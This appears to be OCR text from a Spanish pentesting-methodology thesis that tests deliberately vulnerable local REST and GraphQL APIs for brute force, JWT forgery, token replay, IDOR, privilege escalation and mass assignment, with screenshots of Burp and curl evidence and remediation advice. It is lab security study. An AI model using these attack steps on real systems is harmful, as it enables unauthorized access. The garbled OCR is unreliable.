nTm321 SkHFsMe cp SaHaunpAEhHL BT MO0 X
*user":{
dv:

“password": "adminl23",
“rele”: *admin®

Enviamos el dato de password a Burp (Intruder) marcamos el campo de password

como posicion de ataque, cargamos una lista de contrasefas y lanzamos el ataque.

Figura 7

Validacion de fuerza bruta2

Bl up Poject intuder  Repeater

Dashboard  Target  Prowy  Intrider

1 2 x +

(Z) | sniperattack

Target | hitpiifiocalhost: 3000

Positions Add§ Clear§

1 POST /apifauthflogin HTTR/1.1
! Host: localhost:3000

3 Content-Type: applicatiensisen
4 Content-Length: 62

i

“email”:
password”:

“adnin@dena.con®

View

Auto§|

1 POST fapifauth/login HTTR/1.1
2 Host: localhost ;3000

i Content-Type: application/jsan
4 Content-Length: 62

S Connectien: keep-alive

7| €
8 “enmil”:
5 “password”:

*adningdeso. con”
*adeinl23"

Help
Repeater Collaborator Sequencer Decoder Comparer Logger Owganizer Extermsions Leam
B atack Sme
€ 2 Intruder attack of httpd/localhost:3000
Results Positions
W Capture filter: Capturing all items
¥ Wiew filter: Showing all items.
Request Payload Saatus code Response received Eror Length
o 00 3 557
1 admin 4m 5 n4
2 123456 401 1 34
3 Password] 401 1 34
= adminia3 00 % C3)
5 Ingresal 401 1 3
Request Resporsse
Pretty Raw Hew



Metodologia de Pentesting para APIS 84

Se identifica que la API Rest es vulnerable a Fuerza Bruta nos presenta un codigo 200

en el acierto de la contrasefia. En el api es posible realizar un nimero elevado de intentos sin

bloqueo ni limitaciones.
Revision API GraphQL
Figura 8

Validacion de fuerza bruta3

Unnamed = +

Operation

Request

", “Chromius® ve'142"
TE-B

Linun w5 64) ipplenekait /537,35 | KHTML

Varlables

Figura 9

Validacion de fuerza bruta4

Burp  Project Intruder Repeater View Help
Dashboard Target Proney Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions. Learn

5 x +

Request Response
Pretty Ry Hew ~w & @ w0 = Fretty Raw He w o=
POST / HTTP/1.1 "1 HTTR/L.1 200 OK

Host : localhost : 4000 2 Access-Control-Allow-Origin: *
Content-Type: application/ison Comtent-Type: application/json: charset=utf-8
1 Content-Length: 76 1 Comtenmt-Length: 1325
= . ETag: W/"52d-YLjeqhOgnOkOgOanNy4x 4TSN/ 0
5 02:01:17 GMT

{ Date: Sat, OF De:
" Connection: kesp-alive
Keep-&live: timeout=5

} 16/ {
¥ “errors®:|[
{
"message”: "Credenciales invalidas®,
*locations":[
i
"linen:l,
"column®:12
'

"path":[
*Login®

"extensions®:{
"code" : "INTERNAL_SERVER_ERROR",
"exception”:{

“stacktrace":[
"Error:
g at o

-vulnerable/index. ]

vulnerable/node_n
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Figura 10

Validacion de fuerza bruta5

Durp  Project Intruder Repeater  View  Help
Dashboard Target Prasy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
1 2 3 5. % +
@ [sniperatack Attack  Save
6. Intruder attack of htt lhost:4000

Target | hitp:f/localhost:4000 Q9 rudersttack of hit p/ocathos

Results Positions
Positions Add § Clear§ st

W Capture filter: Capturing all items
POST / HTTP/1.1
Z Host: lecalhest:4000 7 View filter: Showingallitems
5 Content-Type: applicationf
+ Content-Length: 76

Request Payload Status code Response recelved Error Timeout Length
{"query":"nutation { logid | O 200 2 1572
4 1 Admin 200 1 1572
admin 200 1 1572
3 pass 200 1 1572
4 Ingresal 200 0
5 ingreso123 200 2
[ passwordi23 200 3
T pa 2025 200 1
8 12 200 1
9 abct23 200 1
[ cliente1z3 200 1
m clientes78 200 1
Request Response

Pretty

POST / HTTR/1.1
2 Host: localhost ;4000

Centent -Type: application/jsen
\ Content-Length: B8O

Connection: keep-alive

714

"query”:"mutation { legin|username:\"clientely”, password:\"clientel2sy*) }~

Prueba 3 — Validacion de JWT

Vulnerabilidad: Token JWT manipulable o no validado

Descripcion: El backend permite tokens con firmas débiles o manipulados sin
validacion correcta del payload. Esto permite alterar roles, IDs o privilegios.

CVSS 4.0: 9.0 — Critico

Explotacion: El atacante modifica el claim "role" o "userld" y reenvia el token sin que
el servidor detecte la alteracion. Esto le otorga privilegios indebidos.

Recomendacion: Usar firmas fuertes (RS256), validar integridad del token y rotar
claves.

Herramientas utilizadas para validar:

REST: Burp JWT Editor, jwt.io

GraphQL: Playground + JWT Editor
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Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Utilizando la herramienta Postman realizamos un logueo y obtenemos el token, se
evidencia el codigo 200 en la pantalla.
Figura 11

Validacion de JWTI

http:fflocalhost:3000/apifauthflogin - My Workspace

File Edit View Help

Home Workspaces API| Network
POST http:/
it http:/flocalhost:3000/apifauth/login
http:/flocalhos )0fapifauth/lagin

Params

Utilizando jwt.io pegamos el token y podemos evidenciar la informacion sensible.
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Figura 12

Validacion de JWT2

JWT Decoder

Pe JWT b you'd like t and verify.

ENCODED VALUE (O Enable auto-focus DECODED HEADER

JSON WEB TOKEN (JWT) SOPY | | CLEAR

valid JuT

Posterior podemos modificar los datos del payload y refirmar
Figura 13

Validacion de JWT3

‘:‘ JWT e Introduction Libraries

HEADER: ALGORI & TOKE E CLE JSON WEB TOKEN

eyIhbGC10iITUZIINI TS TNASCCIBTKpXVES. ey pZCIEMSWI cuasZSTOTKFKbIWL uTWIKa
ZpYZFKby TSIl HdCTGMTCZNTA4NTMENy Wi ZXhW oxNZK10DYWNDUL Q. GreImDZTECHSC
CAWTDgjaBigiATRC- jUSAM BCS3Tg

Utilizando el token modificado vamos a burp repeter y enviamos la peticion podemos

identificar que el token es aceptado.
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Figura 14

. ./
Validacion de JWT4
Burp Project  Intruder Repeater View Help e Community Editionv2{
Dashboard Target Proixy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organi
1 2. X +

5 B h
a- -

Request Response
Pretty Raw s, BB n = Pretty Raw Hex n =
1 POST Japifadmin/stats HTTP/1.1 I§ HTTR/L.1 200 OK
2 Hest: localhost:3000 2 = sl 25 5

User-Agent: Mozilla/5.0 Access-Control-Allow-Origin: *

Accept: #/® Content-Type: application/json: charset=utf-8
uthorization: Bearer Content-Length: 335

ey JhbGei0iIIUzI1INIISINRSCCIGIK & ETag: W/"laf-vwv79X9ElbhMlapleNohsSlIvhehc"

pXVCI9, ey JpZCIEMSwicmIsZSIGIKF Date: 5un, 07 Dec 2025 03:23:08 GMT

LN B L
B

kbWl uTWakaWZpY2FkbyIsIml hd CIEM 2 Connection: close
Te2NTAGNTHONywi Z¥hwI] oxMNzk LODY =]
whNDULfQ. GreomDZTEcHSCCAW7Dgia §10 {"totalUsers":2,"totalReservations®:1,"users":[{"id":1, "name": "admin",
B1gj ATnC-jUSAM_OCSSTg "email": "admnin@demo.com", "password": "adminl23", "role": "admin"}, {"1d": 2,
ol Connection;: close "name";:"Dario","email";"user@demo.com”, "password": "userl23", "role"; "user"}]

,"reservations":[{"id":1, "userId":2, "fieldId":1, "date":"2025-12-10", "start"
5 ("10:00", "end":"11:00", "status”: "pending"

Revision API GraphQL

De la misma forma que en el caso anterior identificamos el token utilizando la
herramienta GraphQL Playground
Figura 15

Validacion de JWT5

SANDEOX
= - LR Unnamed -

Documentation Operation

Query

Query

Fields

Pegamos el JWT en la herramienta de jwt.io
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Figura 16
Validacion de JWT6

JWT

Debugger

ENCODED VALUE D Enable auto-focus DECODED HEADER

JSON WEB TOKEN (JWT)

valid JWT
' "HS256",
: "JNT"
TINiIsI CI6TH CJ¢ ZCIBIJEILCI1c2
ETULOIiwiaWFOIj¢ MDc5SMDc3TQ. v

dM DECODED PAYLOAD

CLAIMS TABLE

Realizamos los cambios en payload

Figura 17

Validacion de JWT7

Introduction Libraries

HEADER: ALGORITHM & TOKEN TYPE LEAR JSON WEB TOKEN

PAYLOAD: DATA

Utilizando la herramienta postman colocamos el token modificado en headers y

comprobamos la vulnerabilidad.
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Figura 18

Validacion de JWTS

i http://localhost:4000/graphgi?Content-Type=application/json&Authorization=... [B) Save Share

http://localhost:400 aphqgl?Content-Type=application/json&Authorization=Bearer e Send

Headers (10) Body

Content-Type application/json

Authorization Bearer eyJhbGciOiJiUzIINilsInR5c...

Prueba 4 — Tokens reutilizados (Replay Attack)

Vulnerabilidad: Sesiones reutilizables sin control.

Descripcion: El sistema permite que un token capturado sea reutilizado multiples
veces sin invalidarlo.

Esto habilita robo de sesion y suplantacion de identidad.

CVSS 4.0: 9.0 — Critico

Explotacion: El atacante intercepta un token y lo reutiliza para acceder al sistema. Sin
expiracion estricta ni revocacion, mantiene acceso indefinido.

Recomendacion: Implementar expiracion corta, invalidacion tras logout y técnicas
antifraude (nonce/replay detection).

Herramientas utilizadas para validar:

REST: Burp Repeater
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GraphQL: Reutilizacion de header Authorization
Activos afectados:
REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:
Revision API Rest

Utilizando la herramienta postman realizamos una peticion para identificar el token

Figura 19

Tokens reutilizados 1

¢ http://localhost: 3000/apl/auth/login

Headers (8 Body

none form-data X-www-form-uriencoded . raw binary Gra ph QL

Utilizando el token copiado en un curl podemos confirmar la vulnerabilidad
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Figura 20

Tokens reutilizados?2

kali® kali ~/api-canchas-vulnerable-rest

POST M

< | : \
http://localhost:3000/api/users/list
HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: =*

Content-Type: application/json; charset=utf-8
Content-Length: 170

ETag: W/"aa-wMSNiNDzCzKK@qU3wTmdyCkyZ1A"
Date: Sun, ©7 Dec 2025 Q4:37:41 GMT
Connection: keep-alive

Keep-Alive: timeouts=5

[{"1d":1,"name”:"Admin", "email”: "admingidemo.com” , “password”:"admin123", "role”:"admin"},{"1d":2, "name”:"Dario”, "email”:"us
erfpdemo.com”, "password”: "user123”,"role":"user"}]

kali® kali ~fapi-canchas-vulnerable-rest

g |
Revision API GraphQL
También utilizamos la herramienta postman y verificamos el token
Figura 21

Tokens reutilizados3

¢ http:/flocalhost:4000/

form-data

Colocando en Headers el token generado
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Figura 22
Tokens reutilizados4

iii®  http:/flocalhost:4000/

http://localho

Headers (10

Value
application/json

Authorization Bearer eyJhbGciOLIUZINIIsIn

Realizamos otra consulta con el mismo token con lo cual confirmamos la
vulnerabilidad.
Figura 23

Tokens reutilizados5

i@ http:/flocalhost:4000/

http:/flocalhos

Body

form-data w-www-form-urlencoded @ raw binary GraphQL

Body

{} Json ~
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Figura 24

Tokens reutilizados6
# http://localhost: 4000/

http://localhost: 4000/

Body

none form-data x-www-form-uriencoded @ raw binary GraphQL

{} JSON v

Prueba 5 — IDOR (Broken Object Level Authorization)

Vulnerabilidad: Exposicién directa de objetos por ID

Descripcion: El sistema no valida si un usuario tiene permiso para acceder al recurso
solicitado por ID.

Esto permite consultar o modificar datos ajenos.

CVSS 4.0: 9.1 — Critico

Explotacion: El atacante altera el ID del recurso para visualizar datos de otros
usuarios. El sistema devuelve informacion sin verificar propiedad.

Recomendacion:

Validar propiedad del recurso en el backend y usar identificadores no secuenciales.

Herramientas utilizadas para validar:

REST: Burp Intruder, curl

GraphQL: Burp Autorize, InQL
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Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Con la herramienta postman realizamos un logueo y obtenemos el token
Figura 25

Validacion de IDOR1

iii®  http:/flocalhost:3000/apifauth/login

http:/flocs /apifauthflogin

Body

none form-data x=-www-form-urlencoded @ raw binary GraphQL

Realizamos un Curl consultando datos del propio usuario ID=2
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Figura 26
Validacion de IDOR?2
(kali® kali - ~/api-canchas-vulnerable-rest
$ ] \
POST

Cont \

d '{ }
http://localhost:3000/apl/users/getUser

HTTP/1.1 200 OK

X-Powered-By: Express

Access-Control-Allow-Origin: =

Content-Type: application/json; charset=utf-8

Content-Length: &2

ETag: W/"52-Lp69yFSMk9Tm1fbEWxQzas58d91g”

Date: Sun, @7 Dec 2025 ©5:11:40 GMT

Connection: keep-alive

Keep-Alive: timeouts=5

f

—kali® kali - ~fapi-canchas-vulnerable-rest

5

1"1d":2,"name" :"Dario”, "email"”: "userfdemo.com”, "password”: "user123”, “"role":"user"}

1

96

Consultamos datos de otro usuario ID=1 utilizando el mismo token solo cambiando el

ID y confirmamos la vulnerabilidad.

Figura 27
Validacion de IDOR3
(kali® kali ~/api-canchas-vulnerable-rest
Lg I =i
* POST
y = ¥ TE -. - \
s} L N
I 1} \

http://localhost:3000/api/users/getlser
HTTP/1.1 200 0K
X-Powered-By: Express
Access-Control-Allow-Origin: =
Content-Type: application/json; charset=utf-§
Content-Length: &5
ETag: W/"55-eySsFFTpVaQKCZ/ZVehwkpE21B8"
Date: Sun, ©7 Dec 2025 ©5:13:1@0 GMT
Connection: keep-alive
Keep-Alive: timeout=5

(kali® kali - ~/api-canchas-vulnerable-rest

]

Revision API GraphQL

Con la herramienta postman obtenemos el token de un usuario

ame”:"Admin™,"email™: " admin@demo.com”, "password”:"admin123","role":"admin"}
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Figura 28

Validacion de IDOR4

7 http://localhost: 4000/

form-data

Configuramos el Headers con el token obtenido

Figura 29

Validacion de IDORS

i hitp:/flocalhost:4000/

Body

{} Json v

Hacemos la primera consulta con ID=2
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Figura 30

Validacion de IDOR6

ii* http://localhost:4000/

Authorization Headers (10 Body

form-data x-www-form-urlencoded @ raw binary GraphQL

Utilizando el mismo token y cambiando el ID=1 se presenta la informacion del otro
usuario confirmando la vulnerabilidad.
Figura 31

Validacion de IDOR7

i http://localhost: 4000/
http://localhost:4000/

Body

none form-data - . raw binary GraphQL

Body

{} JsoN ~
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Prueba 6 — Acceso a objetos ajenos

Vulnerabilidad: Falta de control de acceso por propiedad

Descripcion: El servidor entrega datos correspondientes a otros usuarios sin verificar
identidad. Esto se genera por falta de ldgica de autorizacion.

CVSS 4.0: 9.1 — Critico

Explotacion: El atacante solicita reservas, pagos o datos del perfil de terceros. El
servidor lo entrega sin restricciones de acceso.

Recomendacion: Implementar validaciones de ownership antes de devolver cualquier
recurso.

Herramientas utilizadas para validar:

REST: Burp Repeater

GraphQL: Mutation tampering

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Utilizando el token de otro usuario y cambiando solo el ID=1 podemos ver

informacion confidencial de otros clientes comprobando la vulnerabilidad.
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Figura 32

Acceso a objetos ajenos|

(kali® kali ~/api-canchas-vulperable-rest
; A

8
{ 1} N
http://localhost:3000/api/reservations/get

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: »

Content-Type: application/json; charset=utf-8
Content-Length: 100

ETag: W/"64-1gLP@@2VsZcT/1tt7kWLIY8OVuo"
Date: Sun, @7 Dec 2025 ©05:33:13 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{"id":1,"userId":2,"fieldId":1, "date”:"2025-12-10", "start”:"10:908","end": "11:80", "status'} "pending”}

kali® kali ~/api-canchas-vulnerable-rest

Revision API GraphQL
Generamos el token del usuario y lo configuramos en headers y realizamos la consulta
Figura 33

Acceso a objetos ajenos?2

[ http:/flocalhost:4000/?Content-Type=application/json&Authorization=Bearer eyJhbGelOlJIUzZITNIIsINRScCIBIkpXVC 9 ey pZCiBI

LJIUZITNESIr

Se visualiza la informacion de las reservas confirmando la vulnerabilidad
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Figura 34

Acceso a objetos ajenos3

i http://localhost:4000/

http

Body

form-data x-www-form-uriencoded @ raw binary GraphQL

Prueba 7 — Escalacion vertical

Vulnerabilidad: Elevacion de privilegios

Descripcion: Usuarios sin privilegios pueden ejecutar acciones reservadas para
administradores. Esto ocurre por falta de control estricto en backend.

CVSS 4.0: 9.5 — Critico

Explotacion: El atacante ejecuta endpoints administrativos o mutaciones restringidas.
Incluso puede modificar roles o eliminar usuarios.

Recomendacion: Validar roles en backend, nunca en el cliente, y aplicar RBAC
robusto.

Herramientas utilizadas para validar:

REST: Burp
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GraphQL: Probar mutations administrativas

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Obtenernos mediante curl el token de un usuario

Figura 35

Escalacion verticall

(kali® kali ~/api-canchas-vulnerable-rest
—5% 1 -¥ POST \
\

a4 ! ) .
http://localhost:3000/api/auth/login

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: +

Content-Type: application/json; charset=utf-8
Content-Length: 284

ETag: W/"1lc-vvPl54M33dI0ppaald/+Uih4EaPI”
Date: Sun, @7 Dec 2025 11:38:24 GMT
Connection: keep-alive

Keep-Alive: timeout=5

102

{"message”:"Login exitoso”,"token”:"eyIhbGci0ilIUzIINIISINRScCIETkpXVCI9.eyIpZCIoMiwicmesZSI6InYZZXI1LCIpYXQi0jE3NJUXMDeL
MDQsImV4cCIBMTC2NTCXxMIMWNHO . RovOWe 1EuIGr1RDeDh56JzVBbYINPNFNISTqiyB-uAl", "user™:{"id":2,"name":"Dario”, "email”: "userddemo

.com”,"password”:"user123","role":"user"}}

(kali® kali - ~/api-canchas-vulnerable-rest

Utilizamos el mismo token de un usuario con minimos privilegios y escalamos los

privilegios a un usuario Admin comprobando la vulnerabilidad.
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Figura 36

Escalacion vertical?2

kali® kali ~/api-canchas-vulnerable-rest

POST \

q \
http://localhost:3000/api/admin/stats

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: =

Content-Type: application/json; charset=utf-8
Content-Length: 335

ETag: W/"14f-ww79X9ElbhMlapJ6NohS1Ivbehc™
Date: Sun, 07 Dec 2025 11:41:20 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{"totalUsers":2,"totalReservations"i1, "users":[{"id":1, "name”: "Admin", "email”: "admin@demo.com", "password”: "adminl23","rol
e":"admin"},{"1d":2,"name":" role”:’ r"}], "reservations”":[{"id":1,"

:"Dario”, "email” :"userfdemo.com” , "password”: "userl23”,
userId":2,"fieldId":1, "date”:"2025-12-10","start":"10:00", "end”:"11:00","status":

kali® kali - ~/api-canchas-vulnerable-rest

Obtenemos el token de un usuario sin privilegios utilizando postman

Figura 37

Escalacion vertical3

http://localhost:4000/

{} JSON ~

Incluimos el token en headers
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Figura 38

Escalacion vertical4

http://localhost: 4000/

Cont pe applic

cont pe Bearer eyJhbGIOLILZIINIIS

Body

{} JsoN ~

Ejecutamos la escalacion de privilegios a ADMIN

Figura 39

Escalacion vertical5

i http://localhost:4000/

none form-data x-www-form-u binary GraphQ@L

Verificamos que el rol cambios para confirmar la vulnerabilidad.
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Figura 40

Escalacion vertical6

¢ http:/flocalhost:4000/

http:/flocalhost:4000/

none form-data X-www-form-url 3 aw binary GraphQL

Prueba 8 — Escalacion horizontal

Vulnerabilidad: Suplantacion de identidad entre usuarios

Descripcion: El sistema permite que un usuario actiie como otro modificando
parametros o IDs. Esto facilita alteracion de datos personales o reservas.

CVSS 4.0: 8.8 — Critico

Explotacion: El atacante manipula el userld para realizar acciones en otra cuenta. La
API no valida identidad real.

Recomendacion: Fraude, robo de informacion y dafio a la integridad de datos.
Impacto alto en multiples usuarios.

Herramientas utilizadas para validar:

REST: Burp

GraphQL: GraphQL Raider

Activos afectados:
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REST: Api rest (app.js)
GraphQL: Api GranphQA (index.js)
Evidencia:

Revision API Rest

Podemos identificar que cualquier usuario puede realizar consultas

Figura 41

Escalacion horizontall

(kali® kalil- ~fapi-canchas-vulnerable-rest

—5

d { . R e e
http://localhost:3000/api/auth/login

X POST \
p \

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: =

Content-Type: application/json; charset=utf-8
Content-Length: 284

ETag: W/"1lc-vvP1l54M3]dI0Oppaad/+Uih4EaPI”
Date: Sun, 07 Dec 2025 11:38:24 GNMT
Connection: keep-alive

Keep-Alive: timeout=3
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"message”:"Login exitoso”,"token”:"eyIhbGci0iJIVzIINIIsINRScCIGIkpXVCIY, eyIpZCIoMiwicm9sZSI6InYzZXTI1LCIpYXQi07EINJUXMDC]]
DQsImV4cCIEMTC2ZNTcxMiMwNHO . RovOWc 1EuIGr1RDeDh563zVEbYINPAFNISTqiy8-uAl"™, "user”:{
L.com”, "password":"user123”,"role":"user"}}

"1d":2,"name”:"Dario”, "email”: "userfdemo

—5%
-H

http:

. POST \

/flocalhost:3000/api/admin/stats

(kali® kali)- ~/api-canchas-vulnerable-rest

\

\.._.. I

HTTP/1.1 200 0K

X-Powered-By: Express
Access-Control-Allow-Origin: *

Content-Type: application/json; charset=utf-8
Content-Length: 235

ETag: W/ "14f-vvw79X9ELbhMlaplENohSlIvbenc”
Date: 5Sun, @7 Dec 2025 11:41:20 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{"totalUsers”:2,"totalReservations”:1, "users":[{"id":1, "name”:"Admin”, "email”: "admin@demo.com”, "password”:"admin123","rol

e”:"admin"},{"id":2,"name" :"Dario”,"email":"user@demo.com™, "password™: "user123”,"role":"user"}], "reservations”:[{"id":1,
userId”:2,"fieldId":1,"date":"2025-12-10" ,"start":"10:00","end":"11:00","status”: "pending"}1}

Utilizando el mismo token el ID=2 de la reserva ajena de useridl, modificamos los

recursos de otro usuario del mismo nivel y podriamos robar la reserva, ants era de userld=1

ahora es de userID=2
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Figura 42

Escalacion horizontal2

(kali® kali ~/api-canchas-vulnerable-rest
5 1 POST A\

1 1 b
{ : TR

http://localhost:3000/api/reservations/update

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: =

Content-Type: application/json; charset=utf-8
Content-Length: 149

ETag: W/"95-1h@yZ32xn+FC85Bgf+3hirnoRgo”
Date: 5Sun, @7 Dec 2025 12:10:08 GMT
Connection: keep-alive

Keep-Alive: timeout=5

9:00","status”: "CANCELLED"}}

{"message”:"Reserva modificada”,"reservation”:{"id":2,"userId":1,"fieldId":1,"date":"2025-12-20", "start":"18:00","end": "1

(kali® kali ~/api-canchas-vulnerable-rest
$ 1 =X POST \

\

I A

d '
http://localhost:2000/api/reservations/update

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: =

Content-Type: application/json; charset=utf-8
Content-Length: 149

ETag: W/"95-FOnggahzcfAPGULDRIQL7 FHps94”
Date: Sun, 087 Dec 2025 12:10:44 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{"message”:"Reserva modificada”,"reservation”:{"id":2,"userId":2,"fieldId":1, "date":"2025-12-20","start":"18:00","end" : "1
0:00","status” : "CONFIRMED"}}

Revision API GraphQL
Generamos un nuevo token en postman
Figura 43

Escalacion horizontal3

http:/flocalhost:4000/

none (-form sinary GraphQL
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Realizamos la prueba de escalamiento horizontal para un usuario Admin creando una
reserva utilizando el token de otro usuario en la respuesta se visualiza que ya se tiene la
reserva en estado pendiente, confirmando la vulnerabilidad.

Figura 44

Escalacion horizontal4

> hitp://localhost:4000/

form-data x-www-form-urlencoded @ raw binary GraphQL

4.2.1 Manipulacion de parametros

Estas pruebas nos permiten evaluar si el atacante puede modificar o agregar
pardmetros que no deberian ser controlables por el cliente. De esta forma se detecta posibles
campos ocultos, valores insuficientemente validados o asignacion masiva de atributos. Es una
de las vulnerabilidades mas explotadas en APIs GraphQL debido a la flexibilidad del
esquema y puede llegar a ocasionar posibles fraudes o comprometer la integridad de la
informacion. Realizamos este tipo de pruebas para validar que el servidor aplique reglas
estrictas, sobre los parametros que acepta y como los estd validando.

Prueba 9 — Tipos incorrectos

Vulnerabilidad: Validacion insuficiente de tipos de datos

Descripcion: La API acepta valores no validos como strings en campos numericos.

Esto causa fallos l6gicos o corrupcion de datos.
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CVSS 4.0: 6.5 — Medio

Explotacion: El atacante envia valores mal formados para alterar calculos o bypassear
reglas. Esto modifica el resultado esperado de las operaciones.

Recomendacion: Validar todos los tipos de entrada usando schemas estrictos.

Herramientas utilizadas para validar:

REST: Postman

GraphQL: Mutation con tipos incorrectos

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)

Evidencia:

Revision API Rest

Obtenemos mediante curl un token valido y posterior creamos una reserva
Figura 45

Tipos incorrectosl

(kali® kali ~/fapi-canchas-vulnerable-rest
—3 e POST

°H t— i \

- { 1 ¢ : ort DR N
http: //localhost:300@/api/sauth/login

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: =

Content-Type: applicatien/Json; charset=utf-8
Content-Length: 284

ETag: W/"1lc-yo5d8055ulWUSiOhbflhzG3bmsa"™
Date: Sun, 07 Dec 2025 12:39:00 GMT
Connection: keep-alive

Keep-Alive: timeout=3

"message”:"Login exitoso”,"token”:"eyJhbGCi01JIUZIINIISINRSCcCIGIkpXVCI9. ey IpZCIoMiwicmosZSIaInVzZXI1LCIpYXQ10JE3INIUXMTEX]
BDASImV4c CIBMTC2ZNTCXNTKOMHE . neRXS5U-75d0gAl Xe 4y YmMOCDYC-BXbIENXx ITuhKJaGw™ , "user™:{"1id" :2, "name” : "Dario”, "email” : "userfdemo|
com™ ,"password” :"userl23”,"role":"user”}}

(kali® kali ~fapi-canchas-vulnerable-rest
: 1 POST M\
A
C N
i
prey, -
http: //localhost:30@0/apl/reservations/create
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: +
Content-Type: application/json; charset=utf-38
Content-Length: 143
ETag: W/"8f-31B1WF6/fdvHCH@zDgiFwb7EQOGM"™
Date: Sun, @7 Dec 2025 12:39:37 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"message”:"Reserva creada”,"reservation”:{"id":3,"userId":2, "fieldId":1, date”:"2025-12-20","start™:"10:00","end":"11:00@

", "status™:"pending”}}
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Probamos la manipulacion de parametros, enviamos strings donde deberian ser IDs

numéricos, y evidenciamos que no existe una validacion y confirmamos la vulnerabilidad.

Figura 46

Tipos incorrectos?2

(kali® kali - ~/api-canchas-vulnerable-rest
—$ curl -1 -X POST \
H 1zatil B e yINbGci01ITUzTINITST CI6Ikp ]
I6MT T I Th@M RESU-T50 al 4 MOCDY(C- ) GENXIT JaG Ay
H - Le =T ) [ ': atio 15 \
{
FE
| Y
http://localhost:3000/api/reservations/create

HTTP/1.1 200 0K

X-Powered-By: Express
Access-Control-Allow-Origin: =+

Content-Type: application/json; charset=utf-8
Content-Length: 141

ETag: W/"8d-DObVoi6LfBclwBDHIO7STNItglE"
Date: Sun, @7 Dec 2025 12:40:28 GMT
Connection: keep-alive

Keep-Alive: timeout=5

{"message"”:"Reserva creada”,"reservation”:{"1d":4,"userId”:"HOLA", "fieldId":"XD", "date"”:"NO_ES_FECHA","start":12345,6 "end”
itrue,"status”:999}}

(kali® kali ~/api-canchas-vulnerable-rest
—3 -1 -X POST \
Content-Type k: h
d {"u | A
http://localhost:3000/api/reservations/get
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 100
ETag: W/"64-tDThYnoUOpKMk+ukGaCAWKyURYE"
Date: Sun, 07 Dec 2025 12:41:07 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"id":3,"userId":2,"fieldId":1, "date":"2025-12-20","start":"10:02","end":"11:00","status": "pending"}
Revision API GraphQL
Generamos un token valido desde curl y realizamos el cambio de dato colocamos otro

tipo de valores l6gicos en los campos.
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Figura 47

Tipos incorrectos3

kali® kali)- ~/api-canchas-vulnerable-rest
$ -X POST http://localhost:4008/
H yntent-Type: applicatic an’ \
1

h

“data":{"login":"eyIhbGci0iIIUzIINIISINRSCCIGIkPXVCIY, eyIpZCIATIITIiLCI1c2VybmFtZSI6ImNSaWVudGUXxTiwicm9s2ZSI6TKFETULOI iwiaw
FOT joxNzY1MTEyODk5fQ . gNESEZBf JGWZL1XefeBk5@syIirZNWi8I-POETWOBLI ™ }}

kallf® kali)- ~/api-canchas-vulnerable-rest
% POST http://localhost:4000/ \
H intent-Type: applicat szan” \
-H 4 orizatio Bearer e c101 3IUZTINITSINRSCCIGIRpXVCI9 . ey IpZCI61jT1LC 312V
N 0I1wl @IjoxNzY1 Ik5fQ.qNBSEZBf IGWZL1 TirZNw i X

'
{"data":{"createBooking":{"id":"3", "userId”:"2","fieldId":"1","startTime":"NO_ES_FECHA", “endTime":"XD","totalPrice”:-9999
,"status”:"HOLA"}}}

Vemos que el ingreso fue correcto confirmando la vulnerabilidad.
Figura 48

Tipos incorrectos4

(kali® kali)  ~/api-canchas-vulnerable-rest
—$ - POST http://localhost:4000/ \
tent-Type: applicatio 5¢ \

}

{"data":{"bookings":[{"id":"1", "userId”:"2","fieldId":"1", "startTime":"2025-12-10T18:00:002","endTime":"2025-12-10T719:00:
@0Z","totalPrice™: 40, "status™:"CONFIRMED"},{"id":"2","userId":"1","fieldId":"1", "startTime":"2025-12-20T18:00:00Z", "endT1
me" :"2025-12-20T19:00:00Z", "totalPrice”:40, "status”™: "PENDING"},{"id":"3", "userId”:"2", "fieldId":"1", "startTime" : "NO_ES_FE
CHA", "endTime”:"XD","totalPrice”:-9999,"status”: "HOLA™ }]1}}

—kali® kali - ~/api-canchas-vulnerable-rest
g

Prueba 10 — Parametros ocultos

Vulnerabilidad: Mass Assignment

Descripcion: El backend procesa campos que no deberian ser controlados por el
cliente. Esto permite manipular estados internos del sistema.

CVSS 4.0: 8.0 — Alto

Explotacion: El atacante anade atributos como statusOverride o priceOverride. El
servidor los acepta sin validacion.

Recomendacion:



Metodologia de Pentesting para APIS

112
Aplicar listas blancas de parametros permitidos.
Herramientas utilizadas para validar:

REST: Burp Repeater

GraphQL: Mutaciones manipuladas

Activos afectados:

REST: Api rest (app.js)

GraphQL: Api GranphQA (index.js)
Evidencia:

Revision API Rest

reservas.

Mediante curl obtenemos un token valido y realizamos la consulta del estatus de las
Figura 49

Parametros ocultos ]

(kali® kali ~fapi-canchas-vulnerable-rest
—4$ POST http://localhost:3000/api/auth/login \
[} t y 1 y Ay
{ 7 }
